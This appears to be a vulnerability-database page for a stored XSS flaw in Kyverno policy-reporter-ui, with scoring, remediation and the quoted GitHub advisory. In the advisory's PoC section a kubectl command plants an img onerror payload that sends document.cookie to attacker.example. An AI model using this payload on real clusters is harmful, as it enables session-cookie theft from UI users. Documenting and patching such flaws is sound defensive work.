Skip to main content

Policy Reporter UI CVE-2026-44245

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-06 https://github.com/kyverno/kyverno GHSA-q98m-7w8c-w388
6.1
CVSS 3.1 · Vendor: https://github.com/kyverno/kyverno
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain PolicyReport write RBAC in cluster
  2. Delivery
    Craft HTML payload >75 chars as property value
  3. Exploit
    Apply malicious PolicyReport via kubectl
  4. Execution
    Victim UI user expands result row
  5. Persist
    v-html renders unsanitized payload
  6. Impact
    XSS executes, exfiltrates session cookies

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold Kubernetes RBAC write access to PolicyReport objects in at least one namespace accessible to the target - this includes policy engine service accounts (a common role in Kyverno deployments), cluster-admin principals, or any principal with a custom ClusterRole granting PolicyReport create/update/patch verbs. The malicious property value must be a non-http/https string exceeding 75 characters to bypass the isURL() length-and-scheme check and reach the v-html sink; this is trivially satisfied by padding any HTML payload with whitespace. Exploitation is limited by: (1) the attacker's need for pre-existing Kubernetes API write access, ruling out purely external attackers; (2) the victim must be an authenticated Policy Reporter UI user who actively navigates to the affected namespace and expands the specific result row containing the malicious property - passive browsing of other pages does not trigger the payload. No special browser configuration or plugin is required on the victim side.

Impact

The reported CVSS 6.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) overstates accessibility by assigning PR:N. The attack requires the adversary to have Kubernetes RBAC write access to PolicyReport objects - either as a legitimate cluster principal, a compromised policy engine service account, or via direct kubectl access. This is a meaningful prerequisite that reduces the realistic attacker population, particularly in hardened clusters with least-privilege RBAC. The UI:R requirement further limits impact to authenticated Policy Reporter UI users who actively browse and expand affected result rows. EPSS of 0.03% (8th percentile) corroborates the low likelihood of opportunistic automated exploitation, consistent with the cluster-access prerequisite. Not listed in CISA KEV. However, a working public PoC exists, demonstrating real-world feasibility for targeted attacks. Within a Kubernetes environment where a threat actor has already obtained any PolicyReport write permission - a common posture for policy engine service accounts - this vulnerability enables lateral movement by targeting the session cookies of human operators using the UI. The Scope:Changed (S:C) metric is correctly set, as the XSS executes in the victim's browser context rather than the server. Real-world priority: medium for clusters using policy-reporter-ui; patch promptly but not an emergency fire-drill given the access prerequisite.

Exploit ScenarioDerived

An attacker with a compromised Kyverno policy engine service account (which typically holds PolicyReport write RBAC in the target namespace) runs kubectl apply to create a PolicyReport whose properties map contains an HTML payload such as an img tag with an onerror handler, padded to exceed 75 characters so the isURL() guard routes it to the v-html sink. A security engineer using policy-reporter-ui opens the default namespace results table and expands the malicious result row; the onerror handler fires in their browser and exfiltrates the engineer's session cookie to an attacker-controlled server. A public PoC demonstrating this exact scenario is included in the GitHub advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

Stored XSS in Kyverno policy-reporter-ui 2.5.1 and earlier allows an attacker with Kubernetes write access to PolicyReport resources to inject arbitrary HTML into the Vue 3 frontend, which executes in the browser of any authenticated UI user who views the affected namespace. The sink is the v-html directive in PropertyCard.vue, which is reached whenever a property value is not an http/https URL and exceeds 75 characters - a bypass condition trivially satisfied by padding any HTML payload. A public proof-of-concept demonstrating session cookie exfiltration via a crafted PolicyReport object is included in the GitHub advisory GHSA-q98m-7w8c-w388; no public exploit identified as confirmed actively exploited (not in CISA KEV), though EPSS of 0.03% reflects low opportunistic risk given the Kubernetes-specific prerequisite.

RemediationAI

The primary fix is to upgrade policy-reporter-ui to version 2.5.2, which is confirmed as the patched release per the GitHub advisory GHSA-q98m-7w8c-w388 at https://github.com/kyverno/kyverno/security/advisories/GHSA-q98m-7w8c-w388. Until the upgrade is applied, restrict Kubernetes RBAC to limit which service accounts and principals hold write access to PolicyReport objects - the fewer principals who can create or modify PolicyReport resources, the smaller the attack surface for injecting malicious property values. As a frontend compensating control, deploying a Content Security Policy (CSP) header that disallows inline script execution (script-src without 'unsafe-inline') will prevent onerror-style XSS payloads from executing even if the v-html sink remains unpatched; however, implementing CSP retroactively in a Vue 3 app may require application-level changes and testing. The ideal long-term fix within the application is to replace the v-html usage in PropertyCard.vue with DOMPurify-sanitized output or to escape all non-URL property values as plain text.

Affected Packages

go github.com/kyverno/policy-reporter-ui fix: 2.5.2+incompatible, 2.5.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the Vue 3 frontend component PropertyCard.vue within the Kyverno policy-reporter-ui package (CPE: pkg:go/github.com_kyverno_policy-reporter-ui). Vue 3's v-html directive is an explicit escape hatch from the framework's auto-escaping mechanism; it renders raw HTML strings directly into the DOM, intentionally bypassing the XSS protections that {{ }} interpolation provides. The component's isURL() guard inspects property values and routes http/https URLs to a safe link renderer, but any value that fails the URL check - including arbitrary HTML payloads - is passed directly to the v-html sink with no further sanitization. The 75-character length threshold in the guard is irrelevant as a security control: it is trivially bypassed by padding any payload. CWE-79 (Improper Neutralization of Input During Web Page Generation) applies because user-controllable data - specifically, Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps writable by policy engines or any principal with RBAC write access to PolicyReport objects - flows to the rendering sink without sanitization. No DOMPurify or equivalent HTML sanitization library is present anywhere in the frontend codebase, as confirmed by the advisory author's code review.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/kyverno/kyverno) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

PR:L corrects the reported PR:N because staging the attack requires Kubernetes RBAC write access to PolicyReport objects; all other metrics align with the stored XSS pattern and victim browser scope change.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
SUSE MEDIUM

Primary rating from Vendor (https://github.com/kyverno/kyverno).

CVSS VectorVendor: https://github.com/kyverno/kyverno

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

Summary

Vue 3's v-html directive is the framework-documented mechanism for injecting raw HTML, and it intentionally disables the auto-escaping that {{ }} interpolation provides. The PropertyCard.vue component uses v-html for the else branch of the URL check, meaning any non-URL string value flows directly into the DOM as HTML. The isURL() guard only filters values that parse as http: or https: URLs, so any HTML payload not starting with those schemes (e.g., <img src=x onerror=alert(1)> padded to exceed 75 chars) bypasses it entirely. The data originates from Kubernetes PolicyReport .results[].properties fields, which are arbitrary string maps populated by policy engines and potentially by any principal with write access to PolicyReport objects in the cluster. No DOMPurify or equivalent HTML sanitization library is present anywhere in the frontend codebase, confirming there is no compensating control between the API response and the sink.

This vulnerability was reproduced on the latest policy reporter UI version - 2.5.1.

PoC

Prerequisites: Kubernetes write access to PolicyReport resources in the target cluster (e.g., via a policy engine service account or direct kubectl access)

Create a Kubernetes PolicyReport resource with a crafted property value longer than 75 characters. When an authenticated Policy Reporter UI user browses to the affected namespace and expands the result row containing this property, the injected script executes in their browser.

bash
kubectl apply -f - <<'EOF'
apiVersion: [wgpolicyk8s.io/v1alpha2](http://wgpolicyk8s.io/v1alpha2)
kind: PolicyReport
metadata:
  name: xss-poc
  namespace: default
results:
- message: "test"
  policy: xss-test-policy
  rule: check-rule
  result: fail
  properties:
# Value > 75 chars and not an http/https URL -> routed to v-html sink
    advisory: "<img src=x onerror=\"fetch('[https://attacker.example/c?c='+document.cookie](https://attacker.example/c?c=%27+document.cookie))\"> padding padding padding"
EOF
# Once a UI user opens the results table for the 'default' namespace
# and expands the 'xss-test-policy' result row, the onerror handler fires
# and exfiltrates their session cookies to attacker.example

<img width="1562" height="1061" alt="Снимок экрана - 2026-04-21 в 10 52 17" src="https://github.com/user-attachments/assets/fe542ccb-1662-44cb-802f-7998aa145db7" /> <img width="1041" height="939" alt="Снимок экрана - 2026-04-21 в 10 51 44" src="https://github.com/user-attachments/assets/bc07cf20-aea5-4a90-838f-c428d88a92b7" />

Impact

XSS

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Prevalence
Low
niche Kubernetes policy reporting UI, not a general-purpose web component
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Affected Products (CPE)CVE.org

pkg:go/github.com_kyverno_policy-reporter-ui
CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy